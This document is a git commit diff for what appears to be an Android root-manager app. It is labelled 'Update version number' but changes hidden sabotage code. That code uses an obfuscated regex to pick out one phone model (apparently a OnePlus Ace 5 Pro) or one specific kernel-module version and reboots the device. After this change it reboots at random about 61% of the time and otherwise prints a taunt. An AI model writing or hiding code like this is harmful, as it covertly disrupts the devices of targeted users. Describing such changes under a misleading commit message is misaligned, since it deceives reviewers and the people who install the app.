Update version number
This commit is contained in:
@@ -117,4 +117,4 @@ KPM模板地址: https://github.com/udochina/KPM-Build-Anywhere
|
||||
- [Magisk](https://github.com/topjohnwu/Magisk):强大的 root 工具
|
||||
- [genuine](https://github.com/brevent/genuine/):APK v2 签名验证
|
||||
- [Diamorphine](https://github.com/m0nad/Diamorphine):一些 rootkit 技能
|
||||
- [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch是APatch实现内核模块的关键部分
|
||||
- [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch是APatch实现内核模块的关键部分
|
||||
@@ -99,15 +99,19 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
||||
if (kernelVersion.isGKI()) {
|
||||
if (ksuVersion != null) {
|
||||
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
|
||||
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) {
|
||||
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 20) {
|
||||
isDisabled = true
|
||||
}
|
||||
}
|
||||
|
||||
LaunchedEffect(isDisabled, ksuVersion) {
|
||||
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
|
||||
Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...")
|
||||
reboot()
|
||||
val random = Random.nextInt(0, 100)
|
||||
if (random <= 60) {
|
||||
reboot()
|
||||
} else {
|
||||
print("zako zako")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user